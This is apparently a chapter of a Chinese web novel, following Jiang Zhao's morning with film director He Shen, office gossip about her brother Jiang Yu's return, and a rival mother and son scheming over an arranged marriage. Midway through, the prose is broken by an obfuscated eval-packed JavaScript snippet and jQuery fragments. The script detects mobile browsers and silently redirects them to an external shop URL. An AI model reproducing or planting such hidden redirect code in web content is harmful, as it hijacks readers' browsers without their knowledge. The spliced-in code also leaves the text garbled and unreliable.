秋日的清晨微凉,落地窗蒙上了一层淡淡的白雾,暖洋洋的日光透过落地窗照进屋内。
姜曌睁开眼,忽然觉得手中触感不对,她侧头看去,看见正靠在床边的何燊。
他的手被她握住,正靠着床边,身上搭了被子的一角,两眼闭着,眉目清秀。
姜曌忽然想起来,昨天她半梦半醒间似乎是扯了一半被子给何燊,然后……极其自然的再次握住他的手,就这么又睡着了。
太坏了……
耳边忽然想起何燊昨晚说得颇显委屈的这句话,姜曌忽然笑出声来,笑声刚从嘴角倾泻出她忽然停住看了眼正睡着的某人。
我知道……我也知道……
昨晚的片段陆陆续续在她脑海里重播,下一刻,姜曌脸忽然热起来,她又瞅了眼何燊,见他仍睡着,松了口气。
她喝醉了,和平时有些不一样,应该是很正常的,对吧?
“……”
“姜曌?”
姜曌的思绪忽然被打断,她看向突然出声的某人,一双含笑的眼睛正对着她,不过男人脸上一点点增加的红晕背叛了他强装的镇定。
姜曌轻咳一声,淡定说:“……你醒了?”
他的睫毛颤动两下,何燊迟疑一瞬,最终点点头,看着她的目光一眨不眨,丝毫不心虚。
她问的是现在,不是刚才,所以他应该或许算不上撒谎吧?
两人此刻的距离不过一臂,何燊的视线在此刻就像是窗外的阳光一般照在她的脸上,她的脸颊都变得暖烘烘。
窗外树上的叶子簌簌抖动,两只小麻雀站在树枝上轻快晃动着圆圆的身子,在树枝间灵活的跳动。
“叮”
面包机吐出两片烤的金黄的面包片,麦香从厨房一路蔓延到整个客厅。
姜曌简单洗漱完出来后就看到正围着围裙在厨房忙活的何燊。
自从回国后她在家里也没开过几次火,基本都在饭局或是在外面简单解决,看到围着围裙的何燊时,她有一瞬间的恍惚,好像两人已经在一起住了许久一样。
下一秒,她压下这份念头,朝厨房岛台走去。
“你收拾好了,”还没走两步,何燊像是背后长了眼睛似的转头看向她,笑着说:“我看冰箱里没多少食材,就只好简单弄个面包片。”
“挺好的,我平时也不怎么在家里做饭,食材是少了些。”姜曌坐到长椅上,看着桌上何燊已经摆好盘的早餐。
等了一会儿的姜曌见何燊走过来要坐下,她这才拿起一片面包,正要涂酱就看见何燊又转身走过去了,她涂酱的动作顿住。
“昨晚你喝了酒,早晨还是要喝一杯蜂蜜水比较好。”
一杯温热的蜂蜜水放在姜曌面前。
对上手里一手拿面包一手拿勺的姜曌,何燊眼角一弯:“快点喝吧。”
蜂蜜水不烫也不凉,水温刚好。
姜曌看了眼对面坐着的何燊,他正举着一片烤的焦黄的吐司片吃,简单的面包片被他愣是吃成山珍海味一样,一脸满足。
“等电影上映,我们一起去看吧。”
何燊嚼面包的动作一顿,他疑惑的看着她:“什么电影?”
姜曌:“……”
无言一瞬后,她笑了:“你拍的电影。”
“好!”何燊高兴的答应她,忽然想到姜曌没提及首映礼,他放下手里的面包,问她:“那电影的首映礼……你会来吗?”
“我可能……你先接电话吧。”
手机铃声忽然响起,盖过了姜曌的话,她干脆示意何燊先接电话。
-
“导演今天看着心情很好的样子……和之前拍摄时有点不一样。”
一旁正整理下一场戏要用到的羊绒大衣的服装师看了眼何燊,在他那如沐春风的脸上停留片刻。
她注意到何燊和演员讲戏时认真专业的样子,过去这个时候早就乌云密布的脸此刻居然还称得上温和,顿觉奇异。
她用手肘碰了碰身旁的场记,压低声音:“话说两条没过他之前早就皱眉了,今天居然还……笑了?”
场记扶了扶眼镜,朝服装师说的何燊看去,眼尖的注意到何燊风衣上的褶皱:“何导平时待人也挺温和的,没准今天只是单纯心情好,不过——”
他话锋一转:“——何导平时挺看重个人形象的,今天居然穿了一件很皱的衣服,而且……看样式像是昨天一样的衣服。”
两人对视一眼,都从对方脸上读到了同样的好奇:“他该不会是……”
服装师:“恋爱了?”
场记:“昨晚熬夜了?”
话音一落,俩人对视一眼,服装师眼神里闪烁着八卦的光芒,“你看他,那嘴角温和得吓人。”
“也有可能昨晚拍的素材特别满意?”
场记提出另一个假设,但随即摇摇头,自己否定了:“不对,再满意也只是嘴没那么毒,现在这简直是如沐春风。”
两人的窃窃私语,混在片场正常的器械移动声和低沉的交谈背景音里,并不算突兀。
忽然,被讨论的何燊转过头,目光正好捕捉到角落里凑在一起嘀嘀咕咕的两人。
被捕捉的俩人背后一凉,抬眼看去,正对上何燊的目光,俩人心里同时“咯噔”一下——即使目光的主人有一张足以惑人的脸庞。
何燊看到刚刚还交谈的两人被他看了一眼就变得很忙的样子。
假装一个在认真检查毛衣,一个在核对场记单。
他嘴角扬起一抹稍显恶趣味的笑意。
“何导?”
饰演男主的演员看了眼何燊,对他说着说着忽然停下感到疑惑。
何燊忽略到刚才的小插曲,收起笑意,道:“没什么,我们继续。”
-
茶水间。
“欸,你听说了吗,姜总今天回公司了。”
“姜总不一直在公司吗?”
“我说的姜总是那个姜总,就是现在姜总的哥哥姜昱……”
“他醒了?!”一旁听着两人说话的另一个职员凑近,惊讶道。
一开始说话的那人盯着凑过来的那人看了两秒,吐槽道:“你这消息也太滞后了吧。”
“不过,咱们已经有个姜总了,这又来一个姜总……会把他放在什么位置呢?”端着咖啡喝了两口后,穿着一身干练职业装的女人好奇猜测道。
“是啊,虽说小姜总才来一年不到,但她做成的业务可一点都不低啊。”一开始提起这个话题的女人点点头。
“但她哥哥在这儿待的更久也更多老人服他吧。”中途凑过来一起听的男人提起姜昱,“这么看来,姜总的位置还挺尴尬的。”
“本就是中途回来的那个,本来的继承人也醒了,你说她会让位……”
“吱——”玻璃门推开。
“如果实在是好奇可以直接问姜总。”
三人吓了一跳,止住话头同时朝门那边看去,见是姜曌身边的傅秘书傅茗,都牵起一抹尴尬的笑容对傅茗点点头。
“傅秘书,我们就说说,没那么好奇。”三人说着走到角落桌子那儿坐下。
“今天的咖啡可真香啊……”
“是啊,你看,这竹子长得可真好。”一人指着角落盆栽里种着的绿竹。
傅茗看了眼角落里的三人,收回视线,面无表情的关门出去了,脸色算不上好。
见门关上,茶水间里三人扭头看了一眼玻璃门,松了口气:“以后还是少说这些话为好。”
“是啊,事情还没定呢,咱们还是别讨论上面那些人的事儿了。”
-
姜曌从容地走在集团总部的走廊上,高跟鞋与大理石地面碰撞的声响轻巧,带着一点说不出的节奏感。
一路径直走向电梯,电梯旁几个聚在一起低声交谈的员工注意到她,瞬间噤声,脸上堆起略显仓促和尴尬的笑意。
“姜总。”
“姜总好。”
姜曌微微颔首,目光平视前方,并未在意从刚才几个字眼猜到的他们谈论的事情。
左不过是她现在在恒与的处境多么尴尬罢了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17918605|213400||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
原本就不算嘈杂的电梯前此刻更是静默,姜曌走过后,隐约听见身后那些人开始继续之前的话题。
尽管他们压低了声音,那些字眼还是追着钻进她的耳膜:
“她看上去像什么事都没发生一样。”
“没准儿是还不知道呢?”
“也可能是在强撑……”
“辛苦工作这么久就是给他人做嫁衣,就算那是她哥,但也没相处几年,你说,他们不会为了继承权大打出手吧?”
“只要别殃及到我就行。”
“……”
电梯门缓缓关上,将那些刺耳的声音隔绝在外,姜曌松开攥紧的右手,手心出现几个淡红的指甲印。
她的目光停在电梯门映着的她的影子上。
她当真不在乎吗?
电梯门打开。
“姜总。”
傅茗站在电梯外,看见姜曌的时候脸上露出笑容,已不见半点上午在茶水间外听到别人谈论时的不好脸色。
“下午好,傅秘书。”姜曌同样笑着回应。
-
今天是姜昱正式回到集团的日子,董事长夫妇自然要在会议上正式欢迎他回归。
迎面撞上从对面走来的姜昱时,她的脚步稍微慢了一瞬,对他现在还在会议室外面有些意外,她很快收起这份好奇继续朝着他走去。
“曌曌。”
刚从总裁办公室下来往会议室赶的姜昱看见姜曌后眼睛一亮,先一步停下脚步喊她的名字,看样子对昨天的事已经不在乎了。
姜曌对胡庆没在他身边有点意外,点头回应:“姜总。”
简单的两个字,稍显冷淡,在姜昱耳里听着更是充满疏离。
姜昱刚觉得失落,会议室忽然打开。
胡庆从里面走出来,对姜昱说:“姜总,会议要开始了。”
说完,他看了眼对面的姜曌,又看了眼身旁的姜昱,傅茗注意到他的视线,不动声色的瞪了他一眼。
这次的会议果真如姜曌所想,主要是为了姜昱的回归,她百无聊赖的转动着钢笔,看着姜昱游刃有余的和高层们寒暄对话。
她拿起桌上的一张纸挡在面前,姜曌打了个哈欠。
这和谐的有点温馨的氛围和她之前那几次会议还真是不一样。
她的视线在姜平山和姜昱脸上停留,发起呆来,少有的开起小差。
能有姜昱这样的儿子,作为父亲的姜平山自然长得不差,更何况戚凤莲还是个哪怕五十好几也依然优雅的美妇人。
姜昱鼻梁高挺,眉毛浓密有型,看着还有几分熟悉……等等,这莫名奇妙的熟悉感。
姜曌收回思绪,看了几眼姜昱再看几眼姜平山,重点在姜平山的上半张脸停留,脑海里一层蒙着淡淡薄雾的东西忽然清晰起来。
她知道为什么觉得那个人有点眼熟了。
会议后,姜曌很快离开会议室,还想和她说点话的姜昱只能看着她和秘书走远的背影,追都追不上。
这么着急做什么?
另一边,已经回到办公室的姜曌把百叶窗降下,和傅茗吩咐新的调查方向。
听到姜曌的话,傅茗惊讶的睁大眼睛,下一刻,她正色道:“姜总您放心,我会仔细调查的。”
-
夜晚,城郊某别墅。
许澈看到站在阳台边晃动着红酒杯轻轻哼着一首在他听来颇有年代感的歌的许陶妍,好奇问:“妈,你今天看着心情很好?”
“你爸他可算是愿意给姜曌和宋嘉言牵线,到时候她去应付那个花花公子可没精力和我斗。”
“姜曌看着不像是会被感情影响的人。”
许澈想起上次被迫进去蹲的那几天就恨得牙痒痒,但他也清楚姜曌没那么容易被感情左右。
许陶妍晃动着剩下的红酒,酒液在杯中摇晃出漂亮的弧度,她微微仰头一饮而尽。
“给她添点堵也好过什么都不做。”
“姜曌若不想联姻就得和姜平山对着干,到时候你看她那总裁位置还坐不坐得稳。”